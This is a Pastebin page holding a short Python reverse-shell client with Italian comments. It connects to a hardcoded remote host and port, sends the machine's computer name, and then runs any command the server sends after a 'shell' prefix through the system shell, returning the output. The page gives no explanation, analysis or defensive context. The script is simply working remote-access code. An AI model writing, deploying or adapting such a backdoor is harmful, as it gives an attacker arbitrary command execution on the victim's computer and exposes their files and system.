Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket ,os, subprocess
- from subprocess import check_output
- host = '192.168.1.106' # Il nodo remoto
- port = 5555 # The La stessa porta usata dal server
- def cltConn():
- os.system('cls')
- global s
- global host
- global port
- global check
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- s.connect((host, port))
- check=('connessione attiva')
- computername=os.environ["COMPUTERNAME"]
- computernameby=computername.encode()
- s.send(computernameby)
- except socket.error as msg:
- print ('connessione finita')
- def cltReceive():
- global args
- while check == "connessione attiva":
- cltReceive=s.recv(1024)
- cltReceive=cltReceive.decode()
- if cltReceive == "quit":
- s.close()
- elif cltReceive[0:5] == "shell":
- proc= subprocess.Popen(cltReceive[6:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
- stdout_value = proc.stdout.read() + proc.stderr.read()
- args = stdout_value
- send=s.send(args)
- cltReceive
- else:
- args='nessun input giusto'
- args=args.encode()
- send=s.send(args)
- cltReceive
- if __name__ == "__main__":
- cltConn()
- while True:
- cltReceive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement